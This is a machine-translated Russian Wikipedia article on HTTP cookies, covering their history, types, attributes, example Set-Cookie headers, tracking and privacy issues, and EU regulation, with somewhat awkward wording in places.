Страница полузащищенная
Послушайте эту статью
Из Википедии, бесплатной энциклопедии
  (Перенаправлено из файлов cookie веб-браузера )
Перейти к навигации Перейти к поиску

HTTP куки (также называемый веб - куки , интернет - куки , браузер куки , или просто печенье ) представляет собой небольшой фрагмент данных , хранящихся на пользователя «s компьютера с помощью веб - браузера во время просмотра на веб - сайт . Файлы cookie были разработаны как надежный механизм, позволяющий веб-сайтам запоминать информацию с отслеживанием состояния (например, элементы, добавленные в корзину покупок в интернет-магазине ) или записывать действия пользователя в Интернете (включая нажатие определенных кнопок, вход в систему или запись посещенных страниц). в прошлом). Их также можно использовать для запоминания фрагментов информации, которые пользователь ранее вводил в поля формы , таких как имена, адреса, пароли и номера платежных карт .

Файлы cookie выполняют важные функции в современной сети . Возможно, наиболее важно то, что файлы cookie аутентификации являются наиболее распространенным методом, используемым веб-серверами, чтобы узнать, вошел ли пользователь в систему или нет, и с какой учетной записью он вошел в систему. Без такого механизма сайт не будет знать, отправлять ли страницу, содержащую конфиденциальную информацию, или требовать от пользователя аутентификации путем входа в систему. Безопасность файла cookie аутентификации обычно зависит от безопасности веб-сайта-эмитента и веб-браузера пользователя. и от того, зашифрованы ли данные cookie . Уязвимости безопасностиможет позволить злоумышленнику прочитать данные cookie , использовать их для получения доступа к данным пользователя или использовать для получения доступа (с учетными данными пользователя) к веб-сайту, которому принадлежит файл cookie (см. межсайтовый скриптинг и межсайтовый запрос подделка примеров). [1]

Отслеживающие файлы cookie, и особенно сторонние файлы cookie отслеживания , обычно используются в качестве способов для составления долгосрочных записей историй просмотров отдельных пользователей - потенциальная проблема конфиденциальности, которая побудила европейских [2] и американских законодателей принять меры в 2011 году [3]. [4] Европейский закон требует, чтобы все веб-сайты, ориентированные на государства-члены Европейского Союза, получали « осознанное согласие » пользователей перед сохранением второстепенных файлов cookie на своих устройствах.

Исследователь Google Project Zero Янн Хорн описывает, как файлы cookie могут быть прочитаны посредниками , например поставщиками точек доступа Wi-Fi . В таких случаях он рекомендует использовать браузер в режиме инкогнито . [5]

Фон

HTTP-файлы cookie разделяют свое имя с популярной выпечкой.

Происхождение названия

Термин «cookie» был придуман программистом веб-браузера Лу Монтулли . Он был образован от термина « волшебный файл cookie », который представляет собой пакет данных, который программа получает и отправляет обратно без изменений, и используется программистами Unix . [6] [7]

История

Волшебные файлы cookie уже использовались в вычислениях, когда в июне 1994 года программист Лу Монтулли придумал их использовать в веб-коммуникациях. [8] В то время он был сотрудником Netscape Communications , которая разрабатывала приложение электронной коммерции для MCI. . Винт Серф и Джон Кленсин представляли MCI в технических обсуждениях с Netscape Communications. MCI не хотела, чтобы ее серверы сохраняли частичные состояния транзакций, поэтому они попросили Netscape найти способ сохранить это состояние на компьютере каждого пользователя. Файлы cookie позволили решить проблему надежной реализации виртуальной корзины покупок .[9] [10]

В том же году Монтулли вместе с Джоном Джаннандреа написал первоначальную спецификацию файлов cookie Netscape. Версия 0.9beta Mosaic Netscape , выпущенная 13 октября 1994 г. [11] [12], поддерживала файлы cookie. [13] Первое использование файлов cookie (вне лабораторий) было проверкой, посещали ли посетители веб-сайта Netscape уже этот сайт. Montulli подал заявку на патент на технологию файлов cookie в 1995 году, и в 1998 году  был получен патент США 5774670. Поддержка файлов cookie была интегрирована в Internet Explorer в версии 2, выпущенной в октябре 1995 года [14].

В то время о внедрении файлов cookie широкой публике не было известно. В частности, по умолчанию принимались файлы cookie, и пользователи не уведомлялись об их присутствии. Широкая общественность узнала о файлах cookie после того, как Financial Times опубликовала о них статью 12 февраля 1996 года. [15] В том же году файлы cookie привлекли большое внимание средств массовой информации, особенно из-за возможных последствий для конфиденциальности. Файлы cookie обсуждались на двух слушаниях Федеральной торговой комиссии США в 1996 и 1997 годах.

Разработка официальных спецификаций файлов cookie уже продолжалась. В частности, первые обсуждения формальной спецификации начались в апреле 1995 года в списке рассылки www-talk . В рамках Инженерной группы Интернета (IETF) была сформирована специальная рабочая группа . Два альтернативных предложения по введению состояния в транзакции HTTP были предложены Брайаном Белендорфом и Дэвидом Кристолом соответственно. Но группа, возглавляемая самим Кристолом и Лу Монтулли, вскоре решила использовать спецификацию Netscape в качестве отправной точки. В феврале 1996 года рабочая группа определила сторонние файлы cookie как серьезную угрозу конфиденциальности. Спецификация, разработанная группой, в конечном итоге была опубликована как RFC 2109. в феврале 1997 г. В нем указано, что сторонние файлы cookie либо вообще не разрешены, либо, по крайней мере, не включены по умолчанию.

В то время рекламные компании уже использовали сторонние файлы cookie. Рекомендация RFC 2109 относительно сторонних файлов cookie не была соблюдена в Netscape и Internet Explorer. RFC 2109 был заменен RFC 2965 в октябре 2000 г.

RFC 2965 добавил Set-Cookie2заголовок, который неофициально стал называться « куки-файлы в стиле RFC 2965 », в отличие от исходного Set-Cookieзаголовка, который назывался «куки-файлы в стиле Netscape». [16] [17], Set-Cookie2 однако, использовался редко и был объявлен устаревшим в RFC 6265 в апреле 2011 года, который был написан как окончательная спецификация для файлов cookie, используемых в реальном мире. [18] Ни один современный браузер не распознает Set-Cookie2заголовок. [19]

Терминология

Сессионный файл cookie

Куки сессии , также известные как в памяти печенье , транзиторное печенье или непостоянными куки , существует только во временной памяти , когда пользователь переходит на веб - сайт. [20] Веб-браузеры обычно удаляют файлы cookie сеанса, когда пользователь закрывает браузер. [21] В отличие от других файлов cookie, сеансовые файлы cookie не имеют назначенной даты истечения срока действия, что позволяет браузеру рассматривать их как файлы cookie сеанса.

Постоянный файл cookie

Вместо того, чтобы истекать при закрытии веб-браузера, как это делают файлы cookie сеанса, постоянный файл cookie истекает в определенную дату или через определенный промежуток времени. В течение срока жизни постоянного файла cookie, установленного его создателем, информация о нем будет передаваться на сервер каждый раз, когда пользователь посещает веб-сайт, которому он принадлежит, или каждый раз, когда пользователь просматривает ресурс, принадлежащий этому веб-сайту, с другого веб-сайта (например, реклама ).

По этой причине постоянные файлы cookie иногда называют отслеживающими файлами cookie, потому что они могут использоваться рекламодателями для записи информации о привычках пользователя к просмотру веб-страниц в течение длительного периода времени. Однако они также используются по «законным» причинам (например, для того, чтобы пользователи оставались в своих учетных записях на веб-сайтах, чтобы избежать повторного ввода учетных данных для входа при каждом посещении).

Безопасный файл cookie

Безопасное печенье может передаваться только через зашифрованное соединение (т.е. HTTPS ). Они не могут передаваться по незашифрованным соединениям (например, HTTP ). Это снижает вероятность того, что файл cookie будет подвергнут краже путем подслушивания. Cookie-файл становится безопасным путем добавления Secureфлага в cookie-файл.

HTTP-файл cookie

HTTP-только куки не могут быть доступны на стороне клиента API, таких как JavaScript . Это ограничение устраняет угрозу кражи файлов cookie с помощью межсайтовых сценариев (XSS). Однако файл cookie остается уязвимым для атак с использованием межсайтовой трассировки (XST) и подделки межсайтовых запросов (CSRF). Эта характеристика присваивается куки-файлу путем добавления HttpOnlyфлага к куки-файлу.

Файл cookie на том же сайте

В 2016 году Google Chrome версии 51 представил [22] новый вид файлов cookie с атрибутом SameSite. Атрибут SameSiteможет иметь значение Strict, Laxили None. [23]
     С атрибутом SameSite=Strictбраузеры будут отправлять файлы cookie только в целевой домен, который совпадает с исходным доменом. Это эффективно уменьшит атаки с подделкой межсайтовых запросов (CSRF). [24] .
     При этом SameSite=Laxбраузеры будут отправлять файлы cookie с запросами в целевой домен, даже если он отличается от исходного домена, но только для безопасных запросов, таких как GET (POST небезопасен), а не сторонних файлов cookie (внутри iframe).
     АтрибутSameSite=Noneразрешит сторонние (межсайтовые) файлы cookie, однако для большинства браузеров требуется атрибут Secure в файлах cookie SameSite = None [25] .

Куки-файлы того же сайта включены в новый проект RFC для «Куки-файлы: механизм управления состоянием HTTP» для обновления RFC6265 (если он одобрен). Chrome, Firefox, Microsoft Edge начали поддерживать файлы cookie на одном сайте. [26] Ключом к развертыванию является обработка существующих файлов cookie без определенного атрибута SameSite. Chrome обрабатывает эти существующие файлы cookie так, как если бы SameSite = None, при этом все веб-сайты / приложения будут работать в прежнем режиме. Google намеревался изменить это значение по умолчанию на SameSite = Lax в феврале 2020 года [27], это изменение приведет к поломке этих приложений / веб-сайтов, если они полагаются на сторонние / межсайтовые файлы cookie, но без определенного атрибута SameSite. Учитывая обширные изменения для веб-разработчиков и COVID-19обстоятельства, Google временно отменил изменение cookie SameSite. [28]

Сторонний файл cookie

Обычно атрибут домена файла cookie соответствует домену, который отображается в адресной строке веб-браузера. Это называется основным файлом cookie . Однако сторонний файл cookie принадлежит к домену, отличному от того, который указан в адресной строке. Этот тип файлов cookie обычно появляется, когда веб-страницы содержат контент с внешних веб-сайтов, например баннерную рекламу . Это открывает возможность для отслеживания истории просмотров пользователя и часто используется рекламодателями для предоставления каждому пользователю соответствующей рекламы .

В качестве примера предположим, что пользователь посещает www.example.org. Этот веб-сайт содержит рекламу ad.foxytracking.com, которая при загрузке устанавливает файл cookie, принадлежащий домену рекламы ( ad.foxytracking.com). Затем пользователь посещает другой веб-сайт, www.foo.comкоторый также содержит рекламу ad.foxytracking.comи устанавливает файл cookie, принадлежащий этому домену ( ad.foxytracking.com). В конце концов, оба эти файла cookie будут отправлены рекламодателю при загрузке его рекламы или посещении его веб-сайта. Затем рекламодатель может использовать эти файлы cookie для создания истории просмотров пользователя на всех веб-сайтах, на которых есть реклама этого рекламодателя, с помощью поля заголовка HTTP-реферера .

По состоянию на 2014 год некоторые веб-сайты устанавливали файлы cookie, доступные для чтения более чем для 100 сторонних доменов. [29] В среднем один веб-сайт устанавливал 10 файлов cookie, при этом максимальное количество файлов cookie (собственных и сторонних) превышало 800. [30]

Большинство современных веб-браузеров содержат настройки конфиденциальности, которые могут блокировать сторонние файлы cookie, а некоторые теперь по умолчанию блокируют все сторонние файлы cookie - по состоянию на июль 2020 года такие браузеры включают Apple Safari , [31] Firefox , [32] и Brave . [33] Safari позволяет встроенным сайтам использовать Storage Access API для запроса разрешения на установку основных файлов cookie. В мае 2020 года Google Chrome представил новые функции для блокировки сторонних файлов cookie по умолчанию в режиме инкогнито для частного просмотра, что делает блокировку необязательной во время обычного просмотра. В том же обновлении также добавлена ​​возможность блокировать собственные файлы cookie. [34]Chrome планирует начать блокировку сторонних файлов cookie по умолчанию в 2022 году. [35]

Суперпеченье

Supercookie является печеньем с происхождением в домене верхнего уровня (например , как .com) или общественного суффикс (например, .co.uk). Обычные файлы cookie, напротив, имеют происхождение от определенного доменного имени, например example.com.

Супер-файлы cookie могут представлять потенциальную угрозу безопасности и поэтому часто блокируются веб-браузерами. В случае разблокировки браузером злоумышленник, контролирующий вредоносный веб-сайт, может установить супер-файл cookie и потенциально нарушить или выдать себя за законные запросы пользователей к другому веб-сайту, который имеет тот же домен верхнего уровня или общедоступный суффикс, что и вредоносный веб-сайт. Например, супер -файл cookie с источником .com, может злонамеренно повлиять на отправленный запрос example.com, даже если cookie-файл не исходит от example.com. Это может быть использовано для подделки логинов или изменения информации пользователя.

Список общедоступных суффиксов [36] помогает снизить риск, связанный с супер-куки-файлами. Список общедоступных суффиксов - это межпроизводственная инициатива, цель которой - предоставить точный и актуальный список суффиксов доменных имен. В старых версиях браузеров может не быть актуального списка, и поэтому они будут уязвимы для супер-файлов cookie из определенных доменов.

Другое использование

Термин «супер-файлы cookie» иногда используется для обозначения технологий отслеживания, которые не полагаются на файлы cookie HTTP. В августе 2011 года на веб-сайтах Microsoft были обнаружены два таких механизма « супер- файлов cookie»: синхронизация файлов cookie, которая воспроизводит файлы cookie MUID (уникальный идентификатор компьютера), и файлы cookie ETag . [37] Из-за внимания средств массовой информации Microsoft позже отключила этот код. [38] В сообщении в блоге от 2021 года Mozilla использовала термин «супер-куки» для обозначения использования кеша браузера (см. Ниже) как средства отслеживания пользователей на сайтах. [39]

Зомби печенье

Зомби печенье этого печенье, которое автоматически воссоздан после удаления. Это достигается путем хранения содержимого cookie в нескольких местах, таких как общий объект Flash Local , веб-хранилище HTML5 и другие места на стороне клиента и даже на стороне сервера. При обнаружении отсутствия файла cookie [ требуется пояснение ] файл cookie воссоздается [ требуется пояснение ] с использованием данных, хранящихся в этих местах. [40] [41]

Стена печенья

Стена файлов cookie появляется на веб-сайте и информирует пользователя об использовании файлов cookie на веб-сайте. У него нет опции отклонения, и веб-сайт недоступен без отслеживающих файлов cookie.

Структура

Файл cookie состоит из следующих компонентов: [42] [43]

  1. Имя
  2. Ценить
  3. Ноль или более атрибутов ( пары имя / значение ). В атрибутах хранится такая информация, как срок действия cookie, домен и флаги (например, Secureи HttpOnly).

Использует

Управление сессией

Изначально файлы cookie были введены для того, чтобы пользователи могли записывать товары, которые они хотят приобрести, во время навигации по веб-сайту (виртуальная «корзина для покупок» или «корзина для покупок»). [9] [10] Однако сегодня содержимое корзины покупок пользователя обычно хранится в базе данных на сервере, а не в файле cookie на клиенте. Чтобы отслеживать, какой пользователь назначен какой корзине покупок, сервер отправляет клиенту файл cookie, который содержит уникальный идентификатор сеанса.(обычно длинная строка из случайных букв и цифр). Поскольку файлы cookie отправляются на сервер с каждым запросом, который делает клиент, этот идентификатор сеанса будет отправляться обратно на сервер каждый раз, когда пользователь посещает новую страницу на веб-сайте, что позволяет серверу знать, какую корзину для покупок отображать для пользователя.

Еще одно популярное использование файлов cookie - это вход на веб-сайты. Когда пользователь посещает страницу входа на веб-сайт, веб-сервер обычно отправляет клиенту файл cookie, содержащий уникальный идентификатор сеанса. Когда пользователь успешно входит в систему, сервер запоминает, что этот конкретный идентификатор сеанса был аутентифицирован, и предоставляет пользователю доступ к своим службам.

Поскольку файлы cookie сеанса содержат только уникальный идентификатор сеанса, это делает количество личной информации, которую веб-сайт может сохранить о каждом пользователе, практически безграничным - веб-сайт не ограничивается ограничениями, касающимися размера файла cookie. Сеансовые файлы cookie также помогают сократить время загрузки страницы, поскольку объем информации в файле cookie сеанса невелик и требует небольшой полосы пропускания.

Персонализация

Файлы cookie могут использоваться для запоминания информации о пользователе, чтобы показывать ему соответствующий контент с течением времени. Например, веб-сервер может отправить файл cookie, содержащий имя пользователя, которое в последний раз использовалось для входа на веб-сайт, чтобы его можно было заполнить автоматически при следующем входе пользователя в систему.

Многие веб-сайты используют файлы cookie для персонализации в зависимости от предпочтений пользователя. Пользователи выбирают свои предпочтения, вводя их в веб-форму и отправляя форму на сервер. Сервер кодирует предпочтения в куки и отправляет куки обратно в браузер. Таким образом, каждый раз, когда пользователь обращается к странице на веб-сайте, сервер может персонализировать страницу в соответствии с предпочтениями пользователя. Например, поисковая система Google когда-то использовала файлы cookie, чтобы позволить пользователям (даже незарегистрированным) решать, сколько результатов поиска на странице они хотят видеть. Кроме того, DuckDuckGo использует файлы cookie, чтобы позволить пользователям устанавливать предпочтения просмотра, такие как цвета веб-страницы.

Отслеживание

Файлы cookie для отслеживания используются для отслеживания привычек пользователей при просмотре веб-страниц. В некоторой степени это также можно сделать, используя IP-адрес компьютера, запрашивающего страницу, или поле referer в заголовке HTTP- запроса, но файлы cookie позволяют добиться большей точности. Это можно продемонстрировать следующим образом:

  1. Если пользователь запрашивает страницу сайта, но запрос не содержит cookie, сервер предполагает, что это первая страница, которую посетил пользователь. Таким образом, сервер создает уникальный идентификатор (обычно строку из случайных букв и цифр) и отправляет его в виде файла cookie обратно в браузер вместе с запрошенной страницей.
  2. С этого момента файл cookie будет автоматически отправляться браузером на сервер каждый раз, когда запрашивается новая страница с сайта. Сервер не только отправляет страницу как обычно, но также сохраняет URL-адрес запрошенной страницы, дату / время запроса и файл cookie в файле журнала.

Анализируя этот файл журнала, можно узнать, какие страницы посетил пользователь, в какой последовательности и как долго.

Корпорации используют веб-привычки пользователей, отслеживая файлы cookie для сбора информации о покупательских привычках. Wall Street Journal обнаружил , что топ пятьдесят сайты Америки установлены в среднем шестидесяти четыре штук отслеживания технологии на компьютеры, в результате чего в общей сложности 3180 отслеживания файлов. [44] Затем данные могут быть собраны и проданы участвующим в торгах корпорациям.

Выполнение

Возможное взаимодействие между веб-браузером и веб-сервером, содержащим веб-страницу, при котором сервер отправляет файл cookie в браузер, а браузер отправляет его обратно при запросе другой страницы.

Файлы cookie - это произвольные фрагменты данных, которые обычно выбираются и сначала отправляются веб-сервером, а затем сохраняются на клиентском компьютере веб-браузером. Затем браузер отправляет их обратно на сервер с каждым запросом, вводя состояния (память предыдущих событий) в HTTP- транзакции без сохранения состояния . Без файлов cookie каждое извлечение веб-страницы или компонента веб-страницы было бы изолированным событием, в значительной степени не связанным со всеми другими просмотрами страниц, сделанными пользователем на веб-сайте. Хотя файлы cookie обычно устанавливаются веб-сервером, они также могут быть установлены клиентом с использованием языка сценариев, такого как JavaScript (если не установлен HttpOnlyфлаг файла cookie , и в этом случае файл cookie не может быть изменен языками сценариев).

Спецификации файлов cookie [45] [46] требуют, чтобы браузеры соответствовали следующим требованиям для поддержки файлов cookie:

  • Может поддерживать файлы cookie размером до 4096 байт .
  • Может поддерживать не менее 50 файлов cookie на домен (т. Е. На веб-сайт).
  • Всего может поддерживать не менее 3000 файлов cookie.

Установка куки

Файлы cookie устанавливаются с помощью Set-Cookie HTTP-заголовка , отправляемого в HTTP-ответе веб-сервера. Этот заголовок дает указание веб-браузеру сохранить файл cookie и отправить его в будущих запросах на сервер (браузер проигнорирует этот заголовок, если он не поддерживает файлы cookie или отключил файлы cookie).

Например, браузер отправляет свой первый запрос на главную страницу www.example.orgвеб-сайта:

GET  /index.html  HTTP / 1.1 Хост :  www.example.org ...

Сервер отвечает двумя Set-Cookieзаголовками:

HTTP / 1.0  200  OK Content-type :  text / html Set-Cookie :  theme = light Set-Cookie :  sessionToken = abc123; Срок действия истекает = среда, 9 июня 2021 г., 10:18:14 GMT ...

HTTP-ответ сервера содержит содержимое домашней страницы веб-сайта. Но он также указывает браузеру установить два файла cookie. Первый, «тема», считается файлом cookie сеанса, поскольку у него нет атрибута Expiresили Max-Age. Сессионные файлы cookie предназначены для удаления браузером при закрытии браузера. Второй, sessionToken, считается постоянным файлом cookie, поскольку он содержит Expiresатрибут, который указывает браузеру удалить файл cookie в определенную дату и время.

Затем браузер отправляет еще один запрос на посещение spec.htmlстраницы на веб-сайте. Этот запрос содержит Cookieзаголовок HTTP, который содержит два файла cookie, которые сервер дал браузеру указание установить:

GET  /spec.html  HTTP / 1.1 Хост :  www.example.org Cookie :  theme = light; sessionToken = abc123 

Таким образом, сервер знает, что этот запрос связан с предыдущим. Сервер ответит, отправив запрошенную страницу, возможно, включая дополнительные Set-Cookieзаголовки в ответ, чтобы добавить новые файлы cookie, изменить существующие файлы cookie или удалить файлы cookie.

Значение cookie может быть изменено сервером путем включения Set-Cookieзаголовка в ответ на запрос страницы. Затем браузер заменяет старое значение новым значением.

Значение куки может состоять из любых печатных ASCII символ ( !через ~, Unicode \u0021 через \u007E) , за исключением ,и ;и пробельные символы . Имя файла cookie исключает те же символы, а также =, поскольку это разделитель между именем и значением. Стандарт файлов cookie RFC 2965 является более строгим, но не реализуется браузерами.

Термин «крошка cookie» иногда используется для обозначения пары «имя-значение» файла cookie. [47]

Файлы cookie также могут быть установлены с помощью языков сценариев, таких как JavaScript, которые выполняются в браузере. В JavaScript document.cookieдля этого используется объект . Например, инструкция document.cookie = "temperature=20"создает файл cookie с именем «температура» и значением «20». [48]

Атрибуты cookie

Помимо имени и значения, файлы cookie также могут иметь один или несколько атрибутов. Браузеры не включают атрибуты файлов cookie в запросы к серверу - они отправляют только имя и значение файла cookie. Атрибуты cookie используются браузерами, чтобы определить, когда следует удалить cookie, заблокировать cookie или отправить cookie на сервер.

Домен и путь

DomainИ Pathатрибуты определяют объем печенья. По сути, они сообщают браузеру, к какому веб-сайту принадлежит файл cookie. По очевидным причинам безопасности файлы cookie могут быть установлены только для верхнего домена текущего ресурса и его поддоменов, но не для другого домена и его поддоменов. Например, веб-сайт example.orgне может установить файл cookie с доменом, foo.comпотому что это позволит example.orgвеб-сайту управлять файлами cookie foo.com.

Если файлы cookie Domainи Pathатрибуты не указаны сервером, по умолчанию используются домен и путь к запрошенному ресурсу. [49] Однако в большинстве браузеров существует разница между файлом cookie, установленным foo.comбез домена, и файлом cookie, установленным с foo.comдоменом. В первом случае cookie будет отправляться только для запросов foo.com, также известных как cookie только для хоста. В последнем случае также включаются все поддомены (например, docs.foo.com). [50] [51] Заметным исключением из этого общего правила является Edge до Windows 10 RS3 и Internet Explorer до IE 11 и Windows 10 RS4 (апрель 2018 г.), который всегда отправляет файлы cookie в поддомены независимо от того, был ли установлен файл cookie. с доменом или без него.[52]

Ниже приведен пример некоторых Set-Cookieзаголовков ответов HTTP, которые отправляются с веб-сайта после входа пользователя в систему. HTTP-запрос был отправлен на веб-страницу в docs.foo.comсубдомене:

HTTP / 1.0  200  OK Set-Cookie :  LSID = DQAAAK… Eaem_vYg; Путь = / accounts; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; Безопасный; HttpOnly Set-Cookie :  HSID = AYQEVn… DKrdst; Домен = .foo.com; Путь = /; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; HttpOnly Set-Cookie :  SSID = Ap4P… GTEq; Домен = foo.com; Путь = /; Срок действия истекает = среда, 13 января 2021 г., 22:23:01 по Гринвичу; Безопасный; HttpOnly 

Первый файл cookie,, LSIDне имеет Domainатрибута, и для него Pathустановлено значение /accounts. Это указывает браузеру использовать cookie только при запросе страниц, содержащихся в docs.foo.com/accounts(домен является производным от домена запроса). Два других файла cookie, HSIDи SSID, будут использоваться, когда браузер запрашивает любой субдомен .foo.comпо любому пути (например www.foo.com/bar). Предварительная точка является необязательной в последних стандартах, но может быть добавлена ​​для совместимости с реализациями на основе RFC 2109 . [53]

Срок действия и максимальный возраст

ExpiresАтрибут определяет дату и конкретное время , когда браузер должен удалить куки. Дата и время указываются в форме Wdy, DD Mon YYYY HH:MM:SS GMTили в форме Wdy, DD Mon YY HH:MM:SS GMTдля значений YY, где YY больше или равно 0 и меньше или равно 69. [54]

В качестве альтернативы Max-Ageатрибут можно использовать для установки срока действия файла cookie как интервал в секундах в будущем относительно времени, когда браузер получил файл cookie. Ниже приведен пример трех Set-Cookieзаголовков, которые были получены с веб-сайта после входа пользователя в систему:

HTTP / 1.0  200  OK Set-Cookie :  lu = Rg3vHJZnehYLjVg7qi3bZjzg; Срок действия истекает = Вт, 15 января 2013 г., 21:47:38 GMT; Путь = /; Домен = .example.com; HttpOnly Set-Cookie :  made_write_conn = 1295214458; Путь = /; Домен = .example.com Set-Cookie :  reg_fb_gate = удалено; Срок действия истекает = чт, 01 января 1970 г., 00:00:01 GMT; Путь = /; Домен = .example.com; HttpOnly

Срок действия первого файла cookie luистекает 15 января 2013 года. До этого времени он будет использоваться клиентским браузером. Второй файл cookie made_write_connне имеет срока годности, что делает его файлом cookie сеанса. Он будет удален после того, как пользователь закроет свой браузер. Значение третьего файла cookie reg_fb_gateизменено на «удалено», и срок его действия истекает в прошлом. Браузер немедленно удалит этот файл cookie, поскольку срок его действия уже прошел. Обратите внимание, что файл cookie будет удален только в том случае, если атрибуты домена и пути в Set-Cookieполе соответствуют значениям, использованным при создании файла cookie.

По состоянию на 2016 год Internet Explorer не поддерживал Max-Age. [55] [56]

Безопасность и HttpOnly

SecureИ HttpOnlyатрибуты не имеют соответствующие значения. Скорее, наличие только их имен атрибутов указывает на то, что их поведение должно быть включено.

SecureАтрибут предназначен , чтобы держать печенье связь ограничивается зашифрованной передачи, направляя браузеры использовать куки только с помощью защищенных / зашифрованных соединений. Однако, если веб-сервер устанавливает файл cookie с атрибутом безопасности из незащищенного соединения, файл cookie все равно может быть перехвачен, когда он отправляется пользователю с помощью атак типа «человек посередине» . Поэтому для максимальной безопасности файлы cookie с атрибутом Secure следует устанавливать только через безопасное соединение.

HttpOnlyАтрибут направляет браузеры , чтобы не подвергать печенье по другим каналам , чем HTTP (и HTTPS) запросов. Это означает, что к файлу cookie нельзя получить доступ через языки сценариев на стороне клиента (в частности, JavaScript ), и, следовательно, его нельзя легко украсть с помощью межсайтовых сценариев (метод повсеместной атаки). [57]

Настройки браузера

Большинство современных браузеров поддерживают файлы cookie и позволяют пользователю отключать их. Ниже приведены распространенные варианты: [58]

  • Чтобы полностью включить или отключить файлы cookie, чтобы они всегда принимались или всегда блокировались.
  • Для просмотра и выборочного удаления файлов cookie с помощью диспетчера файлов cookie.
  • Чтобы полностью стереть все личные данные, включая файлы cookie.

По умолчанию Internet Explorer разрешает использование сторонних файлов cookie только в том случае, если они сопровождаются полем P3P «CP» (компактная политика). [59]

Также существуют дополнительные инструменты для управления разрешениями на файлы cookie. [60] [61] [62] [63]

Конфиденциальность и сторонние файлы cookie

Файлы cookie имеют важное значение для конфиденциальности и анонимности пользователей Интернета. Хотя файлы cookie отправляются только на сервер, устанавливающий их, или на сервер в том же домене Интернета, веб-страница может содержать изображения или другие компоненты, хранящиеся на серверах в других доменах. Файлы cookie, которые устанавливаются при извлечении этих компонентов, называются сторонними файлами cookie . Более старые стандарты для файлов cookie, RFC 2109 и RFC 2965 , определяют, что браузеры должны защищать конфиденциальность пользователей и не разрешать совместное использование файлов cookie между серверами по умолчанию. Однако более новый стандарт RFC 6265 явно позволяет пользовательским агентам реализовывать любую политику сторонних файлов cookie, которую они пожелают. Большинство браузеров, например Mozilla Firefox ,Internet Explorer , Opera и Google Chrome по умолчанию разрешают сторонние файлы cookie, если на стороннем веб-сайте опубликована Политика конфиденциальности Compact . Более новые версии Safari блокируют сторонние файлы cookie, и это запланировано и для Mozilla Firefox (изначально планировалось для версии 22, но отложено на неопределенный срок). [64]

В этом вымышленном примере рекламная компания разместила баннеры на двух веб-сайтах. Размещая изображения баннеров на своих серверах и используя сторонние файлы cookie, рекламная компания может отслеживать просмотр пользователей на этих двух сайтах.

Рекламные компании используют сторонние файлы cookie для отслеживания пользователя на нескольких сайтах. В частности, рекламная компания может отслеживать пользователя на всех страницах, на которых размещены рекламные изображения или веб-ошибки . Знание страниц, посещаемых пользователем, позволяет рекламной компании настраивать таргетинг рекламных объявлений на предполагаемые предпочтения пользователя.

Операторы веб-сайтов, которые не сообщают потребителям об использовании сторонних файлов cookie, рискуют подорвать доверие потребителей в случае обнаружения использования файлов cookie. Четкое раскрытие информации (например, в политике конфиденциальности ) устраняет любые негативные последствия такого обнаружения файлов cookie. [65]

Возможность создания профиля пользователей представляет собой угрозу конфиденциальности, особенно когда отслеживание выполняется в нескольких доменах с использованием сторонних файлов cookie. По этой причине в некоторых странах есть законы о файлах cookie.

Правительство США установило строгие правила по установке файлов cookie в 2000 году после того, как стало известно, что Управление по наркополитике Белого дома использовало файлы cookie для отслеживания пользователей компьютеров, просматривающих его антинаркотическую рекламу в Интернете. В 2002 году активист по защите конфиденциальности Дэниел Брандт обнаружил, что ЦРУ оставляло постоянные файлы cookie на компьютерах, которые посещали его веб-сайт. Получив уведомление о нарушении политики, ЦРУ заявило, что эти файлы cookie не были настроены намеренно, и прекратило их установку. [66] 25 декабря 2005 г. Брандт обнаружил, что Агентство национальной безопасности (АНБ) оставляло два постоянных файла cookie на компьютерах посетителей из-за обновления программного обеспечения. Получив уведомление, АНБ немедленно отключило файлы cookie.[67]

Директива ЕС о файлах cookie

В 2002 году Европейский Союз выпустил Директиву о конфиденциальности и электронных коммуникациях , политику, требующую согласия конечных пользователей на размещение файлов cookie и аналогичных технологий для хранения и доступа к информации на оборудовании пользователей. [68] [69] В частности, пункт 3 статьи 5 предусматривает, что хранение данных на компьютере пользователя может осуществляться только в том случае, если пользователю предоставлена ​​информация о том, как эти данные используются, и пользователю предоставляется возможность запретить эту операцию сохранения. .

Директива 95/46 / EC определяет «согласие субъекта данных» как «любое свободно данное конкретное и осознанное указание своего желания, которым субъект данных выражает свое согласие с обрабатываемыми персональными данными, относящимися к нему». [70] Согласие должно включать в себя некоторую форму общения, при которой люди сознательно выражают свое согласие. [69]

В 2009 году в политику были внесены поправки Директивой 2009/136 / EC, которая включала изменение в Статью 5, Параграф 3. Вместо того, чтобы иметь возможность для пользователей отказаться от хранения файлов cookie, пересмотренная Директива требует получения согласия на использование файлов cookie. место хранения. [69]

В июне 2012 года европейские органы по защите данных приняли заключение, в котором разъясняется, что некоторые пользователи файлов cookie могут быть освобождены от требования получения согласия:

  • Некоторые файлы cookie могут быть освобождены от информированного согласия при определенных условиях, если они не используются для дополнительных целей. Эти файлы cookie включают файлы cookie, используемые для отслеживания действий пользователя при заполнении онлайн-форм или в качестве корзины покупок.
  • Собственные аналитические файлы cookie вряд ли создадут риск для конфиденциальности, если веб-сайты предоставляют пользователям четкую информацию о файлах cookie и мерах безопасности. [71]

Реакция отрасли была в основном негативной. Роберт Бонд из юридической фирмы Speechly Bircham описывает последствия как «далеко идущие и невероятно обременительные» для «всех британских компаний». Саймон Дэвис из Privacy International утверждает, что надлежащее правоприменение «уничтожит всю отрасль». [72]

В 2016 году в ЕС был принят Общий регламент по защите данных (GDPR). Согласно декларации 30 GDPR, физические лица могут быть связаны с идентификаторами файлов cookie. Таким образом, файлы cookie могут рассматриваться как персональные данные и, следовательно, подпадать под действие GDPR. Для использования таких файлов cookie компании должны получить предварительное согласие пользователя.

Спецификация P3P предлагает серверу возможность заявить политику конфиденциальности, используя заголовок HTTP , который указывает, какой тип информации он собирает и для какой цели. Эти политики включают (но не ограничиваются) использование информации, собранной с помощью файлов cookie. Согласно спецификации P3P, браузер может принимать или отклонять файлы cookie, сравнивая политику конфиденциальности с сохраненными пользовательскими настройками или спрашивая пользователя, представляя ему политику конфиденциальности, объявленную сервером. Однако спецификация P3P подверглась критике со стороны веб-разработчиков за ее сложность. Некоторые веб-сайты не реализуют его правильно. Например, Facebook какое-то время в шутку использовал «HONK» в качестве заголовка P3P. [73] Только Internet Explorer обеспечивает адекватную поддержку спецификации.

